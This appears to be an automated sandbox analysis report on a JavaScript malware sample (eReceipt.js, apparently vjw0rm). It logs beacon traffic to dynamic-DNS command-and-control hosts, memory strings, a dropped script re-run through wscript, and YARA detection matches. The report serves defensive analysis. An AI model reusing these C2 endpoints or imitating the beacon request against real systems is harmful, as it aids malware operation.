Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 9003
Source: unknown	Network traffic detected: HTTP traffic on port 9003 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 9003 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 9003
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 9003
Source: unknown	Network traffic detected: HTTP traffic on port 9003 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 9003
Source: unknown	Network traffic detected: HTTP traffic on port 9003 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 9003 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 9003
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 9003
Source: unknown	Network traffic detected: HTTP traffic on port 9003 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 9003
Source: unknown	Network traffic detected: HTTP traffic on port 9003 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 9003 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 9003
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 9003
Source: unknown	Network traffic detected: HTTP traffic on port 9003 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 9003
Source: unknown	Network traffic detected: HTTP traffic on port 9003 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 9003 -> 49772

Uses dynamic DNS services

Source: unknown

DNS query: name: zeegod.duckdns.org

Source: global traffic

TCP traffic: 192.168.2.7:49762 -> 212.193.30.129:9003

Source: Joe Sandbox View

ASN Name: SPD-NETTR SPD-NETTR

Source: wscript.exe, 00000012.00000002.881139684.0000026BB35D2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000012.00000002.879936544.0000026BB17B2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000012.00000002.879648858.000000D426DC1000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://travcharles.duia.ro:5098
Source: wscript.exe, 00000012.00000002.880111499.0000026BB17E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://travcharles.duia.ro:5098Vre
Source: wscript.exe, 0000000C.00000002.881519996.00000171E2B20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://travcharles.duia.ro:5098Vre%
Source: wscript.exe, 00000001.00000002.881152946.000001FE424AE000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.881519996.00000171E2B20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://travcharles.duia.ro:5098Vre0
Source: wscript.exe, 00000001.00000002.882158430.000001FE44A30000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000002.881172921.000001C97BE80000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000002.882890634.00000280CB850000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000A.00000002.881999035.00000239FAD10000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.881519996.00000171E2B20000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000012.00000002.881266863.0000026BB3900000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://travcharles.duia.ro:5098Vre563209-4053062332-100
Source: wscript.exe, 00000007.00000002.881546053.00000280C921B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.827671805.00000280C9218000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://travcharles.duia.ro:5098Vre783C6-CB41-11D1-8B02-00600806D9B6
Source: wscript.exe, 00000007.00000002.881546053.00000280C921B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.827671805.00000280C9218000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://travcharles.duia.ro:5098Vre7E9B0-70EF-11D1-B75A-00A0C90564FE
Source: wscript.exe, 0000000C.00000002.881519996.00000171E2B20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://travcharles.duia.ro:5098VreE
Source: wscript.exe, 00000001.00000002.882158430.000001FE44A30000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000A.00000002.881999035.00000239FAD10000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.881519996.00000171E2B20000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000012.00000002.881266863.0000026BB3900000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://travcharles.duia.ro:5098VreM
Source: wscript.exe, 00000006.00000002.881172921.000001C97BE80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://travcharles.duia.ro:5098VreM8
Source: wscript.exe, 00000007.00000002.882890634.00000280CB850000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://travcharles.duia.ro:5098VreMH
Source: wscript.exe, 00000006.00000002.880223665.000001C979E1C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.827815477.00000280C91ED000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000002.881255255.00000280C91ED000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.880832784.00000171E0417000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://travcharles.duia.ro:5098VreMcroWinows
Source: wscript.exe, 0000000A.00000002.880775140.00000239F8B9C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://travcharles.duia.ro:5098VreMcroWinowsiniF
Source: wscript.exe, 00000012.00000002.879936544.0000026BB17B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://travcharles.duia.ro:5098VreMcroWinowsiniG
Source: wscript.exe, 00000001.00000002.881083256.000001FE4248F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://travcharles.duia.ro:5098VreMcroWinowsu
Source: wscript.exe, 0000000C.00000002.881056298.00000171E0430000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://travcharles.duia.ro:5098VreMicrosoft
Source: wscript.exe, 00000001.00000002.882158430.000001FE44A30000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000002.882890634.00000280CB850000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000A.00000002.881999035.00000239FAD10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://travcharles.duia.ro:5098VreS~1
Source: wscript.exe, 00000001.00000002.881152946.000001FE424AE000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000002.880223665.000001C979E1C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000A.00000002.880995729.00000239F8BE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://travcharles.duia.ro:5098VreWOW64
Source: wscript.exe, 00000007.00000002.881546053.00000280C921B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.827671805.00000280C9218000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://travcharles.duia.ro:5098VreY
Source: wscript.exe, 00000001.00000002.882158430.000001FE44A30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://travcharles.duia.ro:5098VreZ
Source: wscript.exe, 00000007.00000002.881546053.00000280C921B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.827671805.00000280C9218000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://travcharles.duia.ro:5098Vrea
Source: wscript.exe, 0000000C.00000002.881519996.00000171E2B20000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000012.00000002.880111499.0000026BB17E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://travcharles.duia.ro:5098Vredesk
Source: wscript.exe, 0000000C.00000002.881519996.00000171E2B20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://travcharles.duia.ro:5098Vree
Source: wscript.exe, 0000000A.00000002.881999035.00000239FAD10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://travcharles.duia.ro:5098Vref:
Source: wscript.exe, 00000007.00000002.881546053.00000280C921B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.827671805.00000280C9218000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://travcharles.duia.ro:5098Vrei
Source: wscript.exe, 00000001.00000002.882158430.000001FE44A30000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000002.881172921.000001C97BE80000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000002.882890634.00000280CB850000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000A.00000002.881999035.00000239FAD10000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.881519996.00000171E2B20000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000012.00000002.881266863.0000026BB3900000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://travcharles.duia.ro:5098Vreosoft
Source: wscript.exe, 00000001.00000002.880864667.000001FE4244C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://travcharles.duia.ro:5098Vreosoft.xmldom
Source: wscript.exe, 00000006.00000002.880223665.000001C979E1C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://travcharles.duia.ro:5098Vrep
Source: wscript.exe, 00000001.00000002.882158430.000001FE44A30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://travcharles.duia.ro:5098Vrer
Source: wscript.exe, 00000000.00000002.882808280.000001C6DD8AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zeegod.duckdns.org/
Source: wscript.exe, 00000000.00000002.882808280.000001C6DD8AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zeegod.duckdns.org/telPROCESSOR_LEVEL=6PROCESSOR_RC
Source: wscript.exe, 00000010.00000002.884207305.00000244AFE70000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.457112240.00000244AF413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zeegod.duckdns.org:9003/
Source: wscript.exe, 00000000.00000003.354426581.000001C6DCBAD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.354234861.000001C6DCBAC000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.881556438.000001C6DCBAF000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.458352994.00000244AF37E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000010.00000002.881936001.00000244AF37E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zeegod.duckdns.org:9003/Ag
Source: wscript.exe, 00000010.00000002.884362520.00000244B00A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zeegod.duckdns.org:9003/Vre
Source: wscript.exe, 00000005.00000003.815093819.000001B3A057A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000002.883135127.000001B3A057D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zeegod.duckdns.org:9003/Vre#
Source: wscript.exe, 00000005.00000002.884039179.000001B3A0690000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zeegod.duckdns.org:9003/Vre-z
Source: wscript.exe, 00000000.00000002.882808280.000001C6DD8AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zeegod.duckdns.org:9003/Vre0
Source: wscript.exe, 00000010.00000002.882947687.00000244AF47E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zeegod.duckdns.org:9003/Vre0&
Source: wscript.exe, 00000000.00000002.881792524.000001C6DCC84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zeegod.duckdns.org:9003/Vre2
Source: wscript.exe, 00000010.00000002.884362520.00000244B00A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zeegod.duckdns.org:9003/Vre5
Source: wscript.exe, 00000000.00000002.882808280.000001C6DD8AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zeegod.duckdns.org:9003/Vre5(
Source: wscript.exe, 00000005.00000002.884584250.000001B3A1169000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zeegod.duckdns.org:9003/Vre5BP
Source: wscript.exe, 00000009.00000002.883203781.0000011D6E515000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zeegod.duckdns.org:9003/Vre798AD7C45B15A
Source: wscript.exe, 00000005.00000002.884283434.000001B3A0DF0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000002.882515571.0000011D6E1A0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000010.00000002.883937570.00000244AFD70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zeegod.duckdns.org:9003/Vre7DQpmb3Ig
Source: wscript.exe, 00000009.00000002.881854049.0000011D6D8E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zeegod.duckdns.org:9003/Vre?Lw
Source: wscript.exe, 00000000.00000002.881792524.000001C6DCC84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zeegod.duckdns.org:9003/VreB
Source: wscript.exe, 00000005.00000002.884283434.000001B3A0DF0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000002.882515571.0000011D6E1A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zeegod.duckdns.org:9003/VreICAgICAgICAgICAgIC
Source: wscript.exe, 00000009.00000002.882763356.0000011D6E4A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zeegod.duckdns.org:9003/VreJ
Source: wscript.exe, 00000005.00000002.883505845.000001B3A05C9000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000002.881803714.0000011D6D8B2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000010.00000002.883452838.00000244AF4E2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000010.00000002.879910035.00000244AD532000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zeegod.duckdns.org:9003/VreM
Source: wscript.exe, 00000000.00000002.881792524.000001C6DCC84000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.815093819.000001B3A057A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000002.883135127.000001B3A057D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zeegod.duckdns.org:9003/VreMcroWinows
Source: wscript.exe, 00000010.00000002.882947687.00000244AF47E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zeegod.duckdns.org:9003/VreMcroWinows1
Source: wscript.exe, 00000009.00000002.881803714.0000011D6D8B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zeegod.duckdns.org:9003/VreMcroWinowsC
Source: wscript.exe, 00000005.00000002.884584250.000001B3A1169000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zeegod.duckdns.org:9003/VreT
Source: wscript.exe, 00000005.00000003.815093819.000001B3A057A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000002.883135127.000001B3A057D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zeegod.duckdns.org:9003/VreW&&1
Source: wscript.exe, 00000010.00000002.884362520.00000244B00A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zeegod.duckdns.org:9003/Vreba&
Source: wscript.exe, 00000000.00000002.881896029.000001C6DCCF0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000002.884283434.000001B3A0DF0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000002.882515571.0000011D6E1A0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000010.00000002.883937570.00000244AFD70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zeegod.duckdns.org:9003/VrebiBuZXcgQWN0aXZlWE
Source: wscript.exe, 00000000.00000002.882571223.000001C6DD870000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zeegod.duckdns.org:9003/VreenP
Source: wscript.exe, 00000000.00000002.881792524.000001C6DCC84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zeegod.duckdns.org:9003/Vrem
Source: wscript.exe, 00000005.00000003.814806136.000001B3A1155000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.814853193.000001B3A1161000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.814903129.000001B3A1167000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zeegod.duckdns.org:9003/Vreo
Source: wscript.exe, 00000000.00000002.882571223.000001C6DD870000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zeegod.duckdns.org:9003/Vres
Source: wscript.exe, 00000005.00000002.884283434.000001B3A0DF0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000002.882515571.0000011D6E1A0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000010.00000002.883937570.00000244AFD70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zeegod.duckdns.org:9003/Vreuc3BsaXQo
Source: wscript.exe, 00000009.00000002.882911583.0000011D6E4C8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000010.00000002.884292781.00000244B0070000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com

Source: unknown

HTTP traffic detected: POST /Vre HTTP/1.1Accept: */*User-Agent: vjw0rm_0453C53E\computer\user\Microsoft Windows 10 Pro\Windows Defender\\YES\FALSE\Accept-Language: en-usUA-CPU: AMD64Accept-Encoding: gzip, deflateHost: zeegod.duckdns.org:9003Content-Length: 0Connection: Keep-AliveCache-Control: no-cache

Source: unknown

DNS traffic detected: queries for: zeegod.duckdns.org

System Summary

Wscript called in batch mode (surpress errors)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Roaming\XZqsVjnTsr.js
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Roaming\XZqsVjnTsr.js
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Roaming\XZqsVjnTsr.js
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Roaming\XZqsVjnTsr.js
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Roaming\XZqsVjnTsr.js	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Roaming\XZqsVjnTsr.js	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Roaming\XZqsVjnTsr.js
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Roaming\XZqsVjnTsr.js	Jump to behavior

Potential malicious VBS/JS script found (suspicious encoded strings)

Source: eReceipt.js

Initial sample: Suspicious string win32_ D2LUMZJF

Source: 00000009.00000002.880440429.0000011D6BAC4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_Base64_Encoded_Hex_Encoded_Code date = 2019-04-29, author = Florian Roth, description = Detects hex encoded code that has been base64 encoded, score = https://www.nextron-systems.com/2019/04/29/spotlight-threat-hunting-yara-rule-example/
Source: 00000010.00000002.882089368.00000244AF3F0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_Base64_Encoded_Hex_Encoded_Code date = 2019-04-29, author = Florian Roth, description = Detects hex encoded code that has been base64 encoded, score = https://www.nextron-systems.com/2019/04/29/spotlight-threat-hunting-yara-rule-example/
Source: 00000000.00000002.881750287.000001C6DCC58000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_Base64_Encoded_Hex_Encoded_Code date = 2019-04-29, author = Florian Roth, description = Detects hex encoded code that has been base64 encoded, score = https://www.nextron-systems.com/2019/04/29/spotlight-threat-hunting-yara-rule-example/
Source: 00000005.00000002.882946701.000001B3A0557000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_Base64_Encoded_Hex_Encoded_Code date = 2019-04-29, author = Florian Roth, description = Detects hex encoded code that has been base64 encoded, score = https://www.nextron-systems.com/2019/04/29/spotlight-threat-hunting-yara-rule-example/
Source: 00000012.00000002.879936544.0000026BB17B2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: webshell_asp_generic date = 2021-03-07, author = Arnim Rupp, description = Generic ASP webshell which uses any eval/exec function indirectly on user input or writes a file, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = a8c63c418609c1c291b3e731ca85ded4b3e0fba83f3489c21a3199173b176a75, modified = 2021-10-29
Source: 00000009.00000002.882515571.0000011D6E1A0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_Base64_Encoded_Hex_Encoded_Code date = 2019-04-29, author = Florian Roth, description = Detects hex encoded code that has been base64 encoded, score = https://www.nextron-systems.com/2019/04/29/spotlight-threat-hunting-yara-rule-example/
Source: 00000005.00000002.884283434.000001B3A0DF0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_Base64_Encoded_Hex_Encoded_Code date = 2019-04-29, author = Florian Roth, description = Detects hex encoded code that has been base64 encoded, score = https://www.nextron-systems.com/2019/04/29/spotlight-threat-hunting-yara-rule-example/
Source: 00000010.00000002.880524674.00000244AD5E3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_Base64_Encoded_Hex_Encoded_Code date = 2019-04-29, author = Florian Roth, description = Detects hex encoded code that has been base64 encoded, score = https://www.nextron-systems.com/2019/04/29/spotlight-threat-hunting-yara-rule-example/
Source: 00000005.00000003.815386378.000001B39E7A7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_Base64_Encoded_Hex_Encoded_Code date = 2019-04-29, author = Florian Roth, description = Detects hex encoded code that has been base64 encoded, score = https://www.nextron-systems.com/2019/04/29/spotlight-threat-hunting-yara-rule-example/
Source: 00000009.00000002.880465658.0000011D6BAE4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_Base64_Encoded_Hex_Encoded_Code date = 2019-04-29, author = Florian Roth, description = Detects hex encoded code that has been base64 encoded, score = https://www.nextron-systems.com/2019/04/29/spotlight-threat-hunting-yara-rule-example/
Source: 00000005.00000002.881460459.000001B39E783000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_Base64_Encoded_Hex_Encoded_Code date = 2019-04-29, author = Florian Roth, description = Detects hex encoded code that has been base64 encoded, score = https://www.nextron-systems.com/2019/04/29/spotlight-threat-hunting-yara-rule-example/
Source: 00000010.00000002.883937570.00000244AFD70000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_Base64_Encoded_Hex_Encoded_Code date = 2019-04-29, author = Florian Roth, description = Detects hex encoded code that has been base64 encoded, score = https://www.nextron-systems.com/2019/04/29/spotlight-threat-hunting-yara-rule-example/
Source: 0000000C.00000002.880832784.00000171E0417000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: webshell_asp_generic date = 2021-03-07, author = Arnim Rupp, description = Generic ASP webshell which uses any eval/exec function indirectly on user input or writes a file, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = a8c63c418609c1c291b3e731ca85ded4b3e0fba83f3489c21a3199173b176a75, modified = 2021-10-29
Source: 00000010.00000002.880727385.00000244AD604000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_Base64_Encoded_Hex_Encoded_Code date = 2019-04-29, author = Florian Roth, description = Detects hex encoded code that has been base64 encoded, score = https://www.nextron-systems.com/2019/04/29/spotlight-threat-hunting-yara-rule-example/
Source: 00000000.00000002.881896029.000001C6DCCF0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_Base64_Encoded_Hex_Encoded_Code date = 2019-04-29, author = Florian Roth, description = Detects hex encoded code that has been base64 encoded, score = https://www.nextron-systems.com/2019/04/29/spotlight-threat-hunting-yara-rule-example/
Source: 00000009.00000002.881676533.0000011D6D82C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_Base64_Encoded_Hex_Encoded_Code date = 2019-04-29, author = Florian Roth, description = Detects hex encoded code that has been base64 encoded, score = https://www.nextron-systems.com/2019/04/29/spotlight-threat-hunting-yara-rule-example/
Source: 00000000.00000002.881056008.000001C6DADBA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_Base64_Encoded_Hex_Encoded_Code date = 2019-04-29, author = Florian Roth, description = Detects hex encoded code that has been base64 encoded, score = https://www.nextron-systems.com/2019/04/29/spotlight-threat-hunting-yara-rule-example/
Source: 00000005.00000003.390360933.000001B3A054F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_Base64_Encoded_Hex_Encoded_Code date = 2019-04-29, author = Florian Roth, description = Detects hex encoded code that has been base64 encoded, score = https://www.nextron-systems.com/2019/04/29/spotlight-threat-hunting-yara-rule-example/
Source: 00000007.00000002.881255255.00000280C91ED000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: webshell_asp_generic date = 2021-03-07, author = Arnim Rupp, description = Generic ASP webshell which uses any eval/exec function indirectly on user input or writes a file, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = a8c63c418609c1c291b3e731ca85ded4b3e0fba83f3489c21a3199173b176a75, modified = 2021-10-29
Source: 00000001.00000002.881083256.000001FE4248F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: webshell_asp_generic date = 2021-03-07, author = Arnim Rupp, description = Generic ASP webshell which uses any eval/exec function indirectly on user input or writes a file, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = a8c63c418609c1c291b3e731ca85ded4b3e0fba83f3489c21a3199173b176a75, modified = 2021-10-29
Source: 00000005.00000002.881618761.000001B39E7A7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_Base64_Encoded_Hex_Encoded_Code date = 2019-04-29, author = Florian Roth, description = Detects hex encoded code that has been base64 encoded, score = https://www.nextron-systems.com/2019/04/29/spotlight-threat-hunting-yara-rule-example/
Source: 00000000.00000003.353378984.000001C6DCC2F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_Base64_Encoded_Hex_Encoded_Code date = 2019-04-29, author = Florian Roth, description = Detects hex encoded code that has been base64 encoded, score = https://www.nextron-systems.com/2019/04/29/spotlight-threat-hunting-yara-rule-example/
Source: 00000005.00000003.815331689.000001B3A0557000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_Base64_Encoded_Hex_Encoded_Code date = 2019-04-29, author = Florian Roth, description = Detects hex encoded code that has been base64 encoded, score = https://www.nextron-systems.com/2019/04/29/spotlight-threat-hunting-yara-rule-example/
Source: 00000010.00000003.457112240.00000244AF413000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_Base64_Encoded_Hex_Encoded_Code date = 2019-04-29, author = Florian Roth, description = Detects hex encoded code that has been base64 encoded, score = https://www.nextron-systems.com/2019/04/29/spotlight-threat-hunting-yara-rule-example/
Source: 00000000.00000002.880778085.000001C6DAD96000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_Base64_Encoded_Hex_Encoded_Code date = 2019-04-29, author = Florian Roth, description = Detects hex encoded code that has been base64 encoded, score = https://www.nextron-systems.com/2019/04/29/spotlight-threat-hunting-yara-rule-example/
Source: Process Memory Space: wscript.exe PID: 3908, type: MEMORYSTR	Matched rule: SUSP_Base64_Encoded_Hex_Encoded_Code date = 2019-04-29, author = Florian Roth, description = Detects hex encoded code that has been base64 encoded, score = https://www.nextron-systems.com/2019/04/29/spotlight-threat-hunting-yara-rule-example/
Source: Process Memory Space: wscript.exe PID: 6860, type: MEMORYSTR	Matched rule: SUSP_Base64_Encoded_Hex_Encoded_Code date = 2019-04-29, author = Florian Roth, description = Detects hex encoded code that has been base64 encoded, score = https://www.nextron-systems.com/2019/04/29/spotlight-threat-hunting-yara-rule-example/
Source: Process Memory Space: wscript.exe PID: 5768, type: MEMORYSTR	Matched rule: SUSP_Base64_Encoded_Hex_Encoded_Code date = 2019-04-29, author = Florian Roth, description = Detects hex encoded code that has been base64 encoded, score = https://www.nextron-systems.com/2019/04/29/spotlight-threat-hunting-yara-rule-example/
Source: Process Memory Space: wscript.exe PID: 792, type: MEMORYSTR	Matched rule: SUSP_Base64_Encoded_Hex_Encoded_Code date = 2019-04-29, author = Florian Roth, description = Detects hex encoded code that has been base64 encoded, score = https://www.nextron-systems.com/2019/04/29/spotlight-threat-hunting-yara-rule-example/

Source: eReceipt.js

Initial sample: Strings found which are bigger than 50

Source: eReceipt.js

ReversingLabs: Detection: 19%

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

